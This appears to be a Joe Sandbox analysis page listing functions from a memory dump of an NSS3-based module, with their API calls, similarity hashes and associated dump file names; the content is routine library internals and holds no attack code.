Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 0e515589b60b1ac671606b9b9c5803e93d5aea65c6625d489df415bb20d1dc7e
Instruction ID: 2ecd3b86ddb57dbba9838170e391e87861260dd4d00070d67e8a18a12122b9db
Opcode Fuzzy Hash: 0e515589b60b1ac671606b9b9c5803e93d5aea65c6625d489df415bb20d1dc7e
Instruction Fuzzy Hash: 55311BB1E005255FEF04DFA9AC405AF7776EFC4728B188128E81997B40FB31DD2687A1

Function 6CC18C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CC18C7C

Part of subcall function 6CCB9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CD00A27), ref: 6CCB9DC6
Part of subcall function 6CCB9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CD00A27), ref: 6CCB9DD1

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC18CB0
TlsGetValue.KERNEL32 ref: 6CC18CD1
EnterCriticalSection.KERNEL32(?), ref: 6CC18CE5
PR_Unlock.NSS3(?), ref: 6CC18D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6CC18D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC18D93

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockValuestrlen
String ID:
API String ID: 2830306428-0
Opcode ID: 118696b98285de8677d442f43fd8a4fb2f91970c0f74db7f1dbc8a80787f0372
Instruction ID: 81da5bd4fec89f99d9ecbda91d64ec8ac621e1f66a226949df58058b34c4715c
Opcode Fuzzy Hash: 118696b98285de8677d442f43fd8a4fb2f91970c0f74db7f1dbc8a80787f0372
Instruction Fuzzy Hash: C2312771E08702ABEB00AF6ADC40B9A7774BF55318F250136EA1967F90F770A924D7D1

Function 6CC38500 Relevance: 10.6, APIs: 7, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CC395DC,00000000,00000000,00000000,?,6CC395DC,00000000,00000000,?,6CC17F4A,00000000,?,00000000,00000000), ref: 6CC38517

Part of subcall function 6CC4BE30: SECOID_FindOID_Util.NSS3(6CC0311B,00000000,?,6CC0311B,?), ref: 6CC4BE44

PORT_NewArena_Util.NSS3(00000800,00000000,00000000,?,6CC17F4A,00000000,?,00000000,00000000), ref: 6CC38585
PORT_ArenaAlloc_Util.NSS3(00000000,00000034,?,00000000,00000000,?,6CC17F4A,00000000,?,00000000,00000000), ref: 6CC3859A
SEC_ASN1DecodeItem_Util.NSS3(00000000,00000000,6CD1D8C4,6CC395D0,?,?,?,00000000,00000000,?,6CC17F4A,00000000,?,00000000,00000000), ref: 6CC385CC
SECOID_GetAlgorithmTag_Util.NSS3(-0000001C,?,?,?,?,?,?,?,00000000,00000000,?,6CC17F4A,00000000,?,00000000,00000000), ref: 6CC385E1
PORT_FreeArena_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC17F4A,00000000,?), ref: 6CC385F4

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$AlgorithmArena_Tag_$Alloc_ArenaDecodeFindFreeItem_
String ID:
API String ID: 738345241-0
Opcode ID: b2ec6c98a138226f5f94f3f211f6b0b8fb6ccaf2f2159c428d042f037da1f790
Instruction ID: 95cc2a226b24f2d024342f2b32c9d0cb38885d4afcf77f8b33370f653ca3a881
Opcode Fuzzy Hash: b2ec6c98a138226f5f94f3f211f6b0b8fb6ccaf2f2159c428d042f037da1f790
Instruction Fuzzy Hash: 4E3149B1F0512057FB108529BC50FAA3238AB2139CF552673FA0DD7FE2FB90C95486A6

Function 6CC04590 Relevance: 10.6, APIs: 7, Instructions: 100memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CC045B5

Part of subcall function 6CC50FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CBF87ED,00000800,6CBEEF74,00000000), ref: 6CC51000
Part of subcall function 6CC50FF0: PR_NewLock.NSS3(?,00000800,6CBEEF74,00000000), ref: 6CC51016
Part of subcall function 6CC50FF0: PL_InitArenaPool.NSS3(00000000,security,6CBF87ED,00000008,?,00000800,6CBEEF74,00000000), ref: 6CC5102B

PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6CC045C9

Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC510F3
Part of subcall function 6CC510C0: EnterCriticalSection.KERNEL32(?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5110C
Part of subcall function 6CC510C0: PL_ArenaAllocate.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51141
Part of subcall function 6CC510C0: PR_Unlock.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51182
Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5119C

memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CC045E6
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CC045F8

Part of subcall function 6CC4FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CC48D2D,?,00000000,?), ref: 6CC4FB85
Part of subcall function 6CC4FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CC4FBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC04647
SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CD1A0F4,?), ref: 6CC0468C
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC046A1

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpymemset
String ID:
API String ID: 1594507116-0
Opcode ID: 25f44f8f85dbcaba7c04924c477b32f4a128d1dbbc17c022f7885410c9721827
Instruction ID: ed0b2ecdf55f640b46319252191e4d01255d78f0662784be7f326b9f25d0f30e
Opcode Fuzzy Hash: 25f44f8f85dbcaba7c04924c477b32f4a128d1dbbc17c022f7885410c9721827
Instruction Fuzzy Hash: 7C31D6B1B003149BFF10DF58EC51BAB36A8AB55318F004038E904DFB85F776D81887A6

Function 6CC12E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6CC0E728,?,00000038,?,?,00000000), ref: 6CC12E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC12E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC12E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6CC12E8F
PL_HashTableLookup.NSS3(?,?), ref: 6CC12E9E
PR_Unlock.NSS3(?), ref: 6CC12EAB
PR_Unlock.NSS3(?), ref: 6CC12F0D

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: ca2a9b885d0884ff2c937aedd7f0a221fae7c405ad5ffd2af574b0ec887093f7
Instruction ID: ef271374ba5b39e160b799c6e158425f88c7ecb5415bc4a19c8d03561c03d0d4
Opcode Fuzzy Hash: ca2a9b885d0884ff2c937aedd7f0a221fae7c405ad5ffd2af574b0ec887093f7
Instruction Fuzzy Hash: C431F6BAA001059BEB006F69DC5487AB779FF46259B148164ED0887B11FB31DC64D7E1

Function 6CC44470 Relevance: 10.6, APIs: 7, Instructions: 82COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,6CC07296,00000000), ref: 6CC44487
EnterCriticalSection.KERNEL32(?,?,?,6CC07296,00000000), ref: 6CC444A0
PR_Unlock.NSS3(?,?,?,?,6CC07296,00000000), ref: 6CC444BB
SECMOD_DestroyModule.NSS3(?,?,?,?,6CC07296,00000000), ref: 6CC444DA
DeleteCriticalSection.KERNEL32(?,?,?,?,6CC07296,00000000), ref: 6CC44530
free.MOZGLUE(?,?,?,?,?,6CC07296,00000000), ref: 6CC4453C
PORT_FreeArena_Util.NSS3 ref: 6CC4454F

Part of subcall function 6CC2CAA0: PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD,6CC0B1EE,D958E836,?,6CC451C5), ref: 6CC2CAFA
Part of subcall function 6CC2CAA0: PR_UnloadLibrary.NSS3(?,6CC451C5), ref: 6CC2CB09

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalSection$Arena_DeleteDestroyEnterFreeLibraryModuleSecureUnloadUnlockUtilValuefree
String ID:
API String ID: 3590924995-0
Opcode ID: ecf03518a684792f0204ebd3120071304766862b8ec9858b8acfc4d649e86138
Instruction ID: db59a037d28ff4a757125493fd4c363c9f1c400a921a12b4daf07869d5da5e3d
Opcode Fuzzy Hash: ecf03518a684792f0204ebd3120071304766862b8ec9858b8acfc4d649e86138
Instruction Fuzzy Hash: D3312BB5A046019FDB00EF79C084669B7F4FF09359F118A69D99997B01F730E898CBC2

Function 6CC5CEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CC5CD93,?), ref: 6CC5CEEE

Part of subcall function 6CC514C0: TlsGetValue.KERNEL32 ref: 6CC514E0
Part of subcall function 6CC514C0: EnterCriticalSection.KERNEL32 ref: 6CC514F5
Part of subcall function 6CC514C0: PR_Unlock.NSS3 ref: 6CC5150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CC5CD93,?), ref: 6CC5CEFC

Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC510F3
Part of subcall function 6CC510C0: EnterCriticalSection.KERNEL32(?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5110C
Part of subcall function 6CC510C0: PL_ArenaAllocate.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51141
Part of subcall function 6CC510C0: PR_Unlock.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51182
Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CC5CD93,?), ref: 6CC5CF0B

Part of subcall function 6CC50840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC508B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CC5CD93,?), ref: 6CC5CF1D

Part of subcall function 6CC4FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CC48D2D,?,00000000,?), ref: 6CC4FB85
Part of subcall function 6CC4FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CC4FBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CC5CD93,?), ref: 6CC5CF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CC5CD93,?), ref: 6CC5CF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6CC5CD93,?,?,?,?,?,?,?,?,?,?,?,6CC5CD93,?), ref: 6CC5CF78

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: bd86a491dc786b62507a9a0d3fb0798cbd49e3ac8bb39135d3d080cb93b898d4
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: F411D2A1A002005BEB00AE6A6C41B6BB6EC9F5854DF804139EC09D7B41FB61D93986F6

Function 6CC08C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC08C1B
EnterCriticalSection.KERNEL32 ref: 6CC08C34
PL_ArenaAllocate.NSS3 ref: 6CC08C65
PR_Unlock.NSS3 ref: 6CC08C9C
PR_Unlock.NSS3 ref: 6CC08CB6

Part of subcall function 6CC9DD70: TlsGetValue.KERNEL32 ref: 6CC9DD8C
Part of subcall function 6CC9DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC9DDB4

Strings

KRAM, xrefs: 6CC08C8F

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: f0914653e070237dfb6af2b92e0ab16c7078ac1dea6ee9ef49db1e5354a6fa47
Instruction ID: 6565b7e2f55b4509665cc44b641b1ea7b7308b7d469cb35491e4499c086386eb
Opcode Fuzzy Hash: f0914653e070237dfb6af2b92e0ab16c7078ac1dea6ee9ef49db1e5354a6fa47
Instruction Fuzzy Hash: B62171B1B056018FD700AF79C484959BBF4FF45308F05C96ED9888B711EB36D899CB92

Function 6CC9A540 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 6CC9A390: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC9A415

PK11_ExtractKeyValue.NSS3(00000000), ref: 6CC9A5AC
memcpy.VCRUNTIME140(?,?,?), ref: 6CC9A5BF
PK11_FreeSymKey.NSS3(00000000), ref: 6CC9A5C8

Part of subcall function 6CC3ADC0: TlsGetValue.KERNEL32(?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE10
Part of subcall function 6CC3ADC0: EnterCriticalSection.KERNEL32(?,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE24
Part of subcall function 6CC3ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CC1D079,00000000,00000001), ref: 6CC3AE5A
Part of subcall function 6CC3ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE6F
Part of subcall function 6CC3ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE7F
Part of subcall function 6CC3ADC0: TlsGetValue.KERNEL32(?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AEB1
Part of subcall function 6CC3ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AEC9

PK11_FreeSymKey.NSS3(00000000), ref: 6CC9A5D9
PR_SetError.NSS3(FFFFD04C,00000000), ref: 6CC9A5E8

Strings

*@, xrefs: 6CC9A589

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: K11_Value$CriticalEnterErrorFreeSection$ExtractUnlockfreememcpymemset
String ID: *@
API String ID: 2660593509-1483644743
Opcode ID: ec8172c0eda47cc11bcf7042deefd45995f77cadf6d9d0db413d6601b52ebe80
Instruction ID: 07ca8bfd38ff9b5326daa229d12b797d98b4dbb74a0c588f5e992bc78dd34d69
Opcode Fuzzy Hash: ec8172c0eda47cc11bcf7042deefd45995f77cadf6d9d0db413d6601b52ebe80
Instruction Fuzzy Hash: 9F2102B2D04604ABC700AF69AC0169FBBB4AFC832CF014228EC5863740F771E6598BD2

Function 6CD02C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CD02CA0
PR_ExitMonitor.NSS3 ref: 6CD02CBE
calloc.MOZGLUE(00000001,00000014), ref: 6CD02CD1
strdup.MOZGLUE(?), ref: 6CD02CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6CD02D27

Strings

Loaded library %s (static lib), xrefs: 6CD02D22

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: ce9757847f724daab51da3bb4a6c512263d2b01d85276c78dc53077cc10043f1
Instruction ID: cdc18524aa616e6bff37ae3f700e0d1d68d84c8ff1af4393924224118cc8c487
Opcode Fuzzy Hash: ce9757847f724daab51da3bb4a6c512263d2b01d85276c78dc53077cc10043f1
Instruction Fuzzy Hash: 2711E2B17022409FFB008F1CDC44A6A77B8AB4635DF94843DDA0987BA1E731E808CBA1

Function 6CC50FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CBF87ED,00000800,6CBEEF74,00000000), ref: 6CC51000
PR_NewLock.NSS3(?,00000800,6CBEEF74,00000000), ref: 6CC51016

Part of subcall function 6CCB98D0: calloc.MOZGLUE(00000001,00000084,6CBE0936,00000001,?,6CBE102C), ref: 6CCB98E5

PL_InitArenaPool.NSS3(00000000,security,6CBF87ED,00000008,?,00000800,6CBEEF74,00000000), ref: 6CC5102B
TlsGetValue.KERNEL32(00000000,?,?,6CBF87ED,00000800,6CBEEF74,00000000), ref: 6CC51044
free.MOZGLUE(00000000,?,00000800,6CBEEF74,00000000), ref: 6CC51064

Strings

security, xrefs: 6CC51025

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: 77193db5a6a97dac7cec53bf6482246e0df08b76465b1225cf782280b57cba22
Instruction ID: 45d70753afe3bbffec741864a2d946491e29d87e78fb2d375705881d235990bd
Opcode Fuzzy Hash: 77193db5a6a97dac7cec53bf6482246e0df08b76465b1225cf782280b57cba22
Instruction Fuzzy Hash: 17014830A0029057F7202F2D9C09B563A78BF86789F814116EA0896A52FB70C17ADBD9

Function 6CC80570 Relevance: 10.5, APIs: 7, Instructions: 47COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6CC6C89B,FFFFFE80,?,6CC6C89B), ref: 6CC8058B
free.MOZGLUE(?,?,6CC6C89B), ref: 6CC80592
PR_SetError.NSS3(FFFFE09A,00000000,FFFFFE80,?,6CC6C89B), ref: 6CC805AE
PR_SetError.NSS3(FFFFE09A,00000000,FFFFFE80,?,6CC6C89B), ref: 6CC805C2
DeleteCriticalSection.KERNEL32(6CC6C89B,?,6CC6C89B), ref: 6CC805D8
free.MOZGLUE(?,?,6CC6C89B), ref: 6CC805DF
PR_SetError.NSS3(FFFFE09A,00000000,?,6CC6C89B), ref: 6CC805FB

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Error$CriticalDeleteSectionfree$Value
String ID:
API String ID: 1757055810-0
Opcode ID: f9999c199696a78328e824c92f02705f9c3e740f690abdc3a922d9d397961eab
Instruction ID: 32a35488568437dc868fb67f7e3d65731e140801f10aaa05b8c6712ce20137e5
Opcode Fuzzy Hash: f9999c199696a78328e824c92f02705f9c3e740f690abdc3a922d9d397961eab
Instruction Fuzzy Hash: 5101D8B5B476505BFA20BFA49C0E74A3F7C674671DF800020E70A66A80E775910C87A6

Function 6CC48780 Relevance: 10.5, APIs: 7, Instructions: 44COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,?,6CBF518F,?,-00000001,?,6CBF61C4,?,6CBF5FA7), ref: 6CC48790
